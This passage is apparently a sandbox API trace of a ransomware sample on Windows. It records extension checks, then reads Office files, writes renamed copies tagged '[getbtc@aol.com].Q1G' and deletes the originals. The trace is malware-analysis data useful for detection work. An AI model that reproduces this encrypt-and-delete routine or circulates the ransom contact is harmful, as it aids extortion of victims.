Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0256.343] lstrlenW (lpString=".doc") returned 4 [0256.343] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0256.343] lstrlenW (lpString=".docx") returned 5 [0256.343] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0256.343] lstrlenW (lpString=".pdf") returned 4 [0256.343] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0256.343] lstrlenW (lpString=".xls") returned 4 [0256.343] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0256.343] lstrlenW (lpString=".xlsx") returned 5 [0256.343] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0256.343] lstrlenW (lpString=".ppt") returned 4 [0256.343] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0256.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0256.343] lstrlenW (lpString=".zip") returned 4 [0256.343] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0256.343] lstrlenW (lpString=".rar") returned 4 [0256.343] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0256.343] lstrlenW (lpString=".bz2") returned 4 [0256.343] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0256.343] lstrlenW (lpString=".7z") returned 3 [0256.343] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0256.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0256.343] lstrlenW (lpString=".dbf") returned 4 [0256.343] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0256.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0256.343] lstrlenW (lpString=".1cd") returned 4 [0256.343] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0256.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0256.343] lstrlenW (lpString=".jpg") returned 4 [0256.343] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0256.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0256.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0256.344] lstrlenW (lpString=".doc") returned 4 [0256.344] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0256.344] lstrlenW (lpString=".docx") returned 5 [0256.344] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0256.344] lstrlenW (lpString=".pdf") returned 4 [0256.344] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0256.344] lstrlenW (lpString=".xls") returned 4 [0256.344] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0256.344] lstrlenW (lpString=".xlsx") returned 5 [0256.344] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0256.344] lstrlenW (lpString=".ppt") returned 4 [0256.344] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0256.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0256.344] lstrlenW (lpString=".zip") returned 4 [0256.344] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0256.344] lstrlenW (lpString=".rar") returned 4 [0256.344] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0256.344] lstrlenW (lpString=".bz2") returned 4 [0256.344] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0256.344] lstrlenW (lpString=".7z") returned 3 [0256.344] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0256.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0256.344] lstrlenW (lpString=".dbf") returned 4 [0256.344] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0256.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0256.344] lstrlenW (lpString=".1cd") returned 4 [0256.344] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0256.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0256.345] lstrlenW (lpString=".jpg") returned 4 [0256.345] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0256.345] lstrcmpiW (lpString1=".VRD", lpString2=".Q1G") returned 1 [0256.345] lstrlenW (lpString="WDALLLNK.VRD") returned 12 [0256.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0256.403] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=1940) returned 1 [0256.403] CloseHandle (hObject=0x3c8) returned 1 [0256.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd")) returned 0x20 [0256.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0256.460] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.460] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0256.461] GetLastError () returned 0x0 [0256.461] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x794, lpOverlapped=0x0) returned 1 [0256.484] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0256.485] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0256.485] WriteFile (in: hFile=0x1fc, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.485] SetEndOfFile (hFile=0x1fc) returned 1 [0256.485] CloseHandle (hObject=0x1fc) returned 1 [0256.485] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.485] SetEndOfFile (hFile=0x390) returned 1 [0256.487] CloseHandle (hObject=0x390) returned 1 [0256.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd")) returned 1 [0256.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0256.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0256.524] lstrlenW (lpString=".doc") returned 4 [0256.524] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0256.524] lstrlenW (lpString=".docx") returned 5 [0256.524] lstrcmpiW (lpString1=".docx", lpString2="K.VRD") returned -1 [0256.525] lstrlenW (lpString=".pdf") returned 4 [0256.525] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0256.525] lstrlenW (lpString=".xls") returned 4 [0256.525] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0256.525] lstrlenW (lpString=".xlsx") returned 5 [0256.525] lstrcmpiW (lpString1=".xlsx", lpString2="K.VRD") returned -1 [0256.525] lstrlenW (lpString=".ppt") returned 4 [0256.525] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0256.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0256.525] lstrlenW (lpString=".zip") returned 4 [0256.525] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0256.525] lstrlenW (lpString=".rar") returned 4 [0256.525] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0256.525] lstrlenW (lpString=".bz2") returned 4 [0256.525] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0256.525] lstrlenW (lpString=".7z") returned 3 [0256.525] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0256.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0256.525] lstrlenW (lpString=".dbf") returned 4 [0256.525] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0256.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0256.525] lstrlenW (lpString=".1cd") returned 4 [0256.525] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0256.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0256.525] lstrlenW (lpString=".jpg") returned 4 [0256.525] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0256.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0256.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0256.525] lstrlenW (lpString=".doc") returned 4 [0256.525] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0256.525] lstrlenW (lpString=".docx") returned 5 [0256.525] lstrcmpiW (lpString1=".docx", lpString2="K.VRD") returned -1 [0256.525] lstrlenW (lpString=".pdf") returned 4 [0256.525] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0256.525] lstrlenW (lpString=".xls") returned 4 [0256.526] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0256.526] lstrlenW (lpString=".xlsx") returned 5 [0256.526] lstrcmpiW (lpString1=".xlsx", lpString2="K.VRD") returned -1 [0256.526] lstrlenW (lpString=".ppt") returned 4 [0256.526] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0256.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0256.526] lstrlenW (lpString=".zip") returned 4 [0256.526] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0256.526] lstrlenW (lpString=".rar") returned 4 [0256.526] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0256.526] lstrlenW (lpString=".bz2") returned 4 [0256.526] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0256.526] lstrlenW (lpString=".7z") returned 3 [0256.526] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0256.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0256.526] lstrlenW (lpString=".dbf") returned 4 [0256.526] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0256.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0256.526] lstrlenW (lpString=".1cd") returned 4 [0256.526] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0256.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0256.526] lstrlenW (lpString=".jpg") returned 4 [0256.526] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0256.526] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0256.526] lstrlenW (lpString="WINPROJ_COL.HXC") returned 15 [0256.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0256.565] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=631) returned 1 [0256.565] CloseHandle (hObject=0x3e0) returned 1 [0256.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc")) returned 0x20 [0256.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0256.566] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.566] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0256.567] GetLastError () returned 0x0 [0256.567] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x277, lpOverlapped=0x0) returned 1 [0256.590] WriteFile (in: hFile=0x3f0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x280, lpOverlapped=0x0) returned 1 [0256.591] ReadFile (in: hFile=0x3e0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0256.591] WriteFile (in: hFile=0x3f0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0256.591] SetEndOfFile (hFile=0x3f0) returned 1 [0256.591] CloseHandle (hObject=0x3f0) returned 1 [0256.591] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.591] SetEndOfFile (hFile=0x3e0) returned 1 [0256.595] CloseHandle (hObject=0x3e0) returned 1 [0256.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.625] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc")) returned 1 [0256.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0256.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0256.626] lstrlenW (lpString=".doc") returned 4 [0256.626] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0256.626] lstrlenW (lpString=".docx") returned 5 [0256.626] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0256.626] lstrlenW (lpString=".pdf") returned 4 [0256.626] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0256.626] lstrlenW (lpString=".xls") returned 4 [0256.626] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0256.626] lstrlenW (lpString=".xlsx") returned 5 [0256.626] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0256.626] lstrlenW (lpString=".ppt") returned 4 [0256.626] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0256.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0256.626] lstrlenW (lpString=".zip") returned 4 [0256.626] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0256.626] lstrlenW (lpString=".rar") returned 4 [0256.626] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0256.626] lstrlenW (lpString=".bz2") returned 4 [0256.626] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0256.626] lstrlenW (lpString=".7z") returned 3 [0256.626] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0256.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0256.627] lstrlenW (lpString=".dbf") returned 4 [0256.627] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0256.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0256.627] lstrlenW (lpString=".1cd") returned 4 [0256.627] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0256.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0256.627] lstrlenW (lpString=".jpg") returned 4 [0256.627] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0256.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0256.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0256.627] lstrlenW (lpString=".doc") returned 4 [0256.627] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0256.627] lstrlenW (lpString=".docx") returned 5 [0256.627] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0256.627] lstrlenW (lpString=".pdf") returned 4 [0256.627] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0256.627] lstrlenW (lpString=".xls") returned 4 [0256.627] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0256.627] lstrlenW (lpString=".xlsx") returned 5 [0256.627] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0256.627] lstrlenW (lpString=".ppt") returned 4 [0256.627] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0256.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0256.627] lstrlenW (lpString=".zip") returned 4 [0256.627] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0256.627] lstrlenW (lpString=".rar") returned 4 [0256.627] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0256.627] lstrlenW (lpString=".bz2") returned 4 [0256.627] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0256.627] lstrlenW (lpString=".7z") returned 3 [0256.627] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0256.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0256.627] lstrlenW (lpString=".dbf") returned 4 [0256.627] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0256.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0256.628] lstrlenW (lpString=".1cd") returned 4 [0256.628] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0256.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC") returned 63 [0256.628] lstrlenW (lpString=".jpg") returned 4 [0256.628] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0256.628] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0256.628] lstrlenW (lpString="WINPROJ_COL.HXT") returned 15 [0256.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0256.643] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=207) returned 1 [0256.643] CloseHandle (hObject=0x3ac) returned 1 [0256.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt")) returned 0x20 [0256.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0256.643] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.644] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0256.644] GetLastError () returned 0x0 [0256.644] ReadFile (in: hFile=0x3ac, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xcf, lpOverlapped=0x0) returned 1 [0256.645] WriteFile (in: hFile=0x200, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xd0, lpOverlapped=0x0) returned 1 [0256.646] ReadFile (in: hFile=0x3ac, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0256.646] WriteFile (in: hFile=0x200, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0256.646] SetEndOfFile (hFile=0x200) returned 1 [0256.646] CloseHandle (hObject=0x200) returned 1 [0256.646] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0256.646] SetEndOfFile (hFile=0x3ac) returned 1 [0256.650] CloseHandle (hObject=0x3ac) returned 1 [0256.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt")) returned 1 [0256.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0256.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0256.651] lstrlenW (lpString=".doc") returned 4 [0256.651] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0256.651] lstrlenW (lpString=".docx") returned 5 [0256.651] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0256.651] lstrlenW (lpString=".pdf") returned 4 [0256.651] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0256.651] lstrlenW (lpString=".xls") returned 4 [0256.651] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0256.652] lstrlenW (lpString=".xlsx") returned 5 [0256.652] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0256.652] lstrlenW (lpString=".ppt") returned 4 [0256.652] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0256.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT") returned 63 [0256.652] lstrlenW (lpString=".zip") returned 4 [0256.652] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0256.652] lstrlenW (lpString=".rar") returned 4 [0256.652] lstrcmpiW (lpString1=".rar", 